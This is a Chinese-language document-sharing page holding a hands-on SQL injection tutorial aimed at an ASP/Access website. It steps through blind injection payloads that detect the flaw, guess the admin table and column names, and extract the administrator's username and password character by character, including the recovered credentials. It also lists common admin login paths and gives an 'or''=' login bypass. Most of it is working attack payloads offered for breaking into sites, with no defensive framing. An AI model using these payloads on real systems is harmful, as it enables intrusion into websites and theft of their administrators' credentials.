注射基础教学.docx
- 文档编号:2135261
- 上传时间:2023-05-02
- 格式:DOCX
- 页数:6
- 大小:17.10KB
注射基础教学.docx
《注射基础教学.docx》由会员分享,可在线阅读,更多相关《注射基础教学.docx(6页珍藏版)》请在冰点文库上搜索。
注射基础教学
注射基础教学
****注入的基础****(主要说的是手工,打基础用的~呵呵)实例http:
//www.XXX.com/jiaren.asp?
ID=544
好下面开始了.....
1.判断
用';
用and1=1and1=2
判断是很重要并且最主要的一步,因为如果你手工注入不判断那么怎么继续呢..
============================================================================
'返回
MicrosoftJETDatabaseEngine错误'80040e14'
语法错误(操作符丢失)在查询表达式'ID=544'''中。
/jiaren.asp,行15
============================================================================
;返回正常页面
===============================
and1=1返回正常页面
================================
and1=2返回错误页面
编号:
ADODB.Field错误'800a0bcd'
BOF或EOF中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。
/jiaren.asp,行28
==============================================================================
上面我们进行了简单的判断,可以知道该页面存在注入.这个时候会有很多朋友要问,这样为什么就存在注入呢.呵呵你只要记住我们就是靠返回页面的不同来判断的.只有它两次返回页面不相同那么就可以知道存在了.
2.猜表
and0<>(selectcount(*)from*)
这个就最基础,最大众话的查询语句了.至于语句的作用我会给大家说明.但是具体的意思请大家自行找有关SQL查询的资料看.
and0<>(selectcount(*)fromadmin)---判断是否存在admin这张表
其中admin是可以换的,其他部分不要换.
我们刚刚返回的是正确页面说明存在admin这张表.如果返回错误说明不存在,那么我们就要换其他的.如:
and0<>(selectcount(*)fromuser)当然啦,只要你想到都可以试试.那天我在课上我给了大家两个提示,没有想到很多人居然就知道这两个了.还问我把admin,user换成其他的可不可以.同志们,这个adminuser是可以替换的.但是,不是随便换你要想一下平时人家都是用什么名称来做表名.因为你是在猜表,也要有思路的猜不是乱猜.换成123456那有用吗.没有用因为没有谁会用这个去做表的名称.
一般的表的名称无非是adminadminuseruserpasspassword等..
3.猜帐号数目
and0<(selectcount(*)fromadmin)
大家会发现和上面的语句差不多.呵呵其实查询部分就是一样不同的是前面的数字.这个数字就是去看看有几个用户帐号.是要换的哦.不是固定是1..因为我们是猜呀.也就是现在我们也不知道它表里面数据到底有几个帐号所以要猜,如果固定的那么就不叫猜了呵呵..
1<就是说看看1是不是小于里面的帐号数目如果返回的页面是正确的说明是对的,如果错误的说明不是的那么我们就要换成2<3<.....当然啦你也可以用1>2>来猜.
如果遇到0<返回正确页面1<返回错误页面说明帐号数目就是1个具体的数学上面判断大小不会要我去教你们了吧.
下面我做给你们看,这里我是从0开始判断呵呵返回正确页面肯定会返回的因为里面不可能一个管理员帐号都没有的.返回错误了哦.说明什么他里面就只有一个管理员帐号.我们换成1=看看是不是OK返回正确页面说明是的.
如果里面有几个帐号这个时候大家就要知道具体猜哪个帐号了.
4.猜解字段名称
and1=(selectcount(*)fromadminwherelen(name)>0)用户字段名称
and1=(selectcount(*)fromadminwherelen(password)>0)密码字段名称
猜解表里面的字段名称了
and1=(selectcount(*)fromadminwherelen(*)>0)---这个是核心语句哦也是大众话的语句.我们要做的就是在len()括号里面加上我们想到的字段名称.
我们先来猜用户名字段我用的是nameOK对了.那么下面我们就来猜密码字段了.
我先用pass晕死不是的,那么我们再换成password看看ok对了.
那么用户字段和密码字段我们都猜解出来了.下面就是猜解长度和具体的字符了.
5.猜解各个字段的长度
猜解长度就是把
and1=(selectcount(*)fromadminwherelen(*)>0)
>0换成其他的只道猜到=?
返回正确页面为止,好,下面我们开始吧.
首先是帐号长度...刚刚帐号字段是name
and1=(selectcount(*)fromadminwherelen(name)>0)正确
and1=(selectcount(*)fromadminwherelen(name)>1)正确
and1=(selectcount(*)fromadminwherelen(name)>2)正确
and1=(selectcount(*)fromadminwherelen(name)>6)错误
and1=(selectcount(*)fromadminwherelen(name)>5)正确
and1=(selectcount(*)fromadminwherelen(name)>4)正确
那么我们就可以知道长度是6
and1=(selectcount(*)fromadminwherelen(name)=6)正确
呵呵对了吧,=6返回的是正确页面.
下面是密码字段的长度
and1=(selectcount(*)fromadminwherelen(password)>0)正确
and1=(selectcount(*)fromadminwherelen(password)>6)正确
and1=(selectcount(*)fromadminwherelen(password)>10)正确
and1=(selectcount(*)fromadminwherelen(password)>15)错误
and1=(selectcount(*)fromadminwherelen(password)>14)错误
and1=(selectcount(*)fromadminwherelen(password)>13)错误
and1=(selectcount(*)fromadminwherelen(password)>12)错误
and1=(selectcount(*)fromadminwherelen(password)>11)正确
OK长度是12
name6
password12
长度出来了,下面就是具体的字符了
6.猜解字符
and1=(selectcount(*)fromadminwhereleft(name,1)='a')---猜解用户
and1=(selectcount(*)fromadminwhereleft(password,1)='a')
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and1=(selectcount(*)fromadminwhereleft(pass,1)='a')---猜解密码
left(name,1)='a'注意了1的位置就是你要猜解的字符的位置.
and1=(selectcount(*)fromadminwhereleft(name,1)='a')---猜解用户帐号的第一位
and1=(selectcount(*)fromadminwhereleft(name,2)='ab')---猜解用户帐号的第二位
就这样下去只到猜玩为止.
and1=(selectcount(*)fromadminwhereleft(name,1)='a')错误
.....
and1=(selectcount(*)fromadminwhereleft(name,6)='pclzyq')
因为这个猜解过程比较漫长所以我就直接给出答案了.
and1=(selectcount(*)fromadminwhereleft(password,1)='a')错误
.......
and1=(selectcount(*)fromadminwhereleft(password,12)='pclzyq000215')
直接给出了答案.
name=pclzyq
password=pclzyq000215
7.找出登陆口,进行登陆
一般的登陆口:
admin.asp
admin_index.asp
admin/index.asp
admin/admin.asp
....
大家可以自己去积累..积累多了不要忘了做成文本文件传给我哦.^_^
我们这里登陆口是_blank>下面就是进行登陆了.
呵呵,后台简单吧写这个程序的人估计也很简单因为他这个登陆口还存在另外一个问题.
用'or''='进行登陆看看,看见了吧也可以进去哦.呵呵
说明:
命令:
SELECT
中文意思:
选择
说明:
用于找出合乎条件的记录
加总函数:
COUNT
中文意思:
数量
说明:
用于求指定的数量
子句:
FROM
中文意思:
数据表
说明:
用于指定数据表
子句:
WHERE
中文意思:
条件
说明:
用于设定条件
运算符:
AND
中文意思:
并且
说明:
逻辑且
TOP--取出前面的指定长度数据
selecttop10*from.....
and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)--这个查询语句可以猜解中文的用户和密码.只要大家把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 注射 基础 教学